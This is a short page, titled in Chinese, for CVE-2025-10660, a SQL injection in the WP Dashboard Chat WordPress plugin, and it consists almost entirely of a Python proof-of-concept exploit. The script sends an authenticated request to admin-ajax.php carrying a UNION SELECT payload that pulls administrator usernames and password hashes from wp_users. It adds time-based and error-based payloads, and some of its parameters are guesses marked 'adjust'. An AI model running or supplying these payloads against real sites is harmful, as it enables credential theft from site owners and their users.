CVE-2025-10660：WordPress WP Dashboard Chat插件SQL注入漏洞

# CVE-2025-10660 - WP Dashboard Chat SQL Injection PoC # Vulnerability: SQL Injection via 'id' parameter # Required: Contributor-level or higher authenticated access import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" PLUGIN_ENDPOINT = "/wp-admin/admin-ajax.php" # or specific plugin endpoint COOKIES = { "wordpress_logged_in_[hash]": "your_auth_cookie", "wordpress_sec_[hash]": "your_sec_cookie" } # SQL Injection payload targeting the 'id' parameter # Extracts admin username and password hash from wp_users table SQL_PAYLOAD = "1 UNION SELECT user_login, user_pass FROM wp_users WHERE ID=1-- -" def exploit_sql_injection(): """ Exploits the SQL injection vulnerability in WP Dashboard Chat plugin. The 'id' parameter is concatenated directly into SQL query without proper escaping or prepared statements. """ params = { "action": "wp_dashboard_chat_action", # Adjust based on actual action "id": SQL_PAYLOAD } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = requests.post( TARGET_URL + PLUGIN_ENDPOINT, data=params, cookies=COOKIES, headers=headers ) if response.status_code == 200: print("[+] Response received:") print(response.text) # Parse response to extract admin credentials if "admin" in response.text.lower() or "$P$" in response.text: print("[+] Sensitive data potentially extracted!") else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_sql_injection() # Alternative: Time-based blind SQL injection payload TIME_BASED_PAYLOAD = "1 AND (SELECT SLEEP(5))-- -" # Alternative: Error-based SQL injection payload ERROR_BASED_PAYLOAD = "1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1)))"